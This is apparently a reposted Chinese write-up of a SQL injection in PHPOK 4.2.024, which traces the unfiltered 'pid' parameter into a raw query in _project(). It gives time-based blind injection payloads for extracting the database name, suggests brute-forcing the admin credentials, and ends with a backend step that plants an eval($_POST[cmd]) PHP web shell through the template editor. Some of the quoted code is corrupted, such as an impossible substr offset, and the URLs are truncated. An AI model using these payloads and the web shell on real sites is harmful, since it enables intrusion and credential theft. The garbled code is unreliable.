判斷是否啓用緩存,啓用後直讀緩存信息

文件/framework/www/post_control.php 26-38行
function index_f()
{
$id = $this->get("id");
$pid = $this->get('pid');
if(!$id && !$pid)
{
error(P_Lang('未指定項目'),'','error');
}
$project_rs = $this->call->phpok('_project',array("phpok"=>$id,'pid'=>$pid));
if(!$project_rs || !$project_rs['module'])
{
error(P_Lang("項目不符合要求"),'','error');
}
id和pid傳進來了,
phpok('_project',array("phpok"=>$id,'pid'=>$pid));
跟進phpok
/framework/phpok_call.php

function phpok($id,$rs="")
{
if(!$id) return false;
$cacheId = '';
$content = '';
if($rs && is_string($rs)) parse_str($rs,$rs);
//判斷是否啓用緩存,啓用後直讀緩存信息
if($GLOBALS['app']->cache->status())
{
$cacheId = $GLOBALS['app']->cache->key(array('id'=>$id,'rs'=>$rs),$this->site['id'],"call");
$content = $GLOBALS['app']->cache->read($cacheId);
}
if($content) return $content;
//判斷是內置參數仍是調用數據中心的數據
if(substr($id,0,1) != '_')
{
$call_rs = $GLOBALS['app']->model('call')->get_rs($id,$this->site['id']);
if(!$call_rs) return false;
if($call_rs['ext'])
{
$call_rs_ext = unserialize($call_rs['ext']);
unset($call_rs['ext'],$call_rs['id']);
if($call_rs_ext) $call_rs = array_merge($call_rs_ext,$call_rs);
}
if($rs && is_array($rs)) $call_rs = array_merge($call_rs,$rs);
}
else
{
if(!$rs || !is_array($rs)) return false;
//arclist,文章列表
//arc,單篇文章信息
//cate,分類信息
//catelist,分類樹
//project,項目信息
//sublist,子項目信息
//parent,父級項目信息
//plist,同級項目信息
//fields,字段表單
//user,會員
//userlist,會員列表
//total,文章總數
//cate_id,當前分類信息(不帶項目,不生成連接)
//subcate,子分類信息,即當前分類下的子分類
$list = array('arclist','arc','cate','catelist','project','sublist','parent','plist','fields','user','userlist','total','cate_id','subcate');
$id = substr($id,2881064151);
//若是是arclist,且未定義is_list屬性,則默認啓用此屬性
if($id == "arclist")
{
$rs["is_list"] = $rs["is_list"] == 'false' ? 0 : 1;
}
if(!$id || !in_array($id,$list)) return false;
$call_rs = array_merge($rs,array('type_id'=>$id));
}
$content = $this->load_call($call_rs);
if($content && $cacheId) $GLOBALS['app']->cache->write($cacheId,$content);
return $content;
}
就是調用一個函數
那看
phpok('_project',array("phpok"=>$id,'pid'=>$pid));
跟_project這個函數
/framework/model/data.php 1118-1139
public function _project($id,$ext=false)
{
if($this->cdata['project'][$id])
{
$rs = $this->cdata['project'][$id];
}
else
{
$sql = "SELECT * FROM ".$this->db->prefix."project WHERE id=".$id;
$rs = $this->db->get_one($sql);
//if(!$this->cdata['project'])
//echo $id.'---'.$rs;
$this->cdata['project'][$id] = $rs;
}
if(!$rs) return false;
if($ext)
{
$ext = $this->ext_all('project-'.$id);
if($ext) $rs = array_merge($ext,$rs);
}
return $rs;
}
id沒有過濾,直接帶入了sql。
http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41
這個pid是項目的id值,默認是41以上,包括41,也能夠爬一下。
http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41and sleep(5)
瀏覽器轉5秒
http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41and 1=if((ord(substr(database(),1,1))=112),sleep(5),1)
這個語句應該曉得吧,database的第一個字符的asicc碼爲112則瀏覽器轉5秒,反之直接返回頁面。
而後擴展一下,_project這個函數有問題,咱們能夠全局搜索一下,還有哪裏調用了_project而後再繼續發掘漏洞
就不繼續測試了,這裏的修補方式就是對_project這個函數作過濾。
想搞出管理員的帳號密碼burp跑一下就能夠了
後臺getshell
風格管理
能夠編輯這個php文件
插入?><?php phpinfo();?><? 或?><?php eval($_POST[cmd])?><?php

相關文章
相關標籤/搜索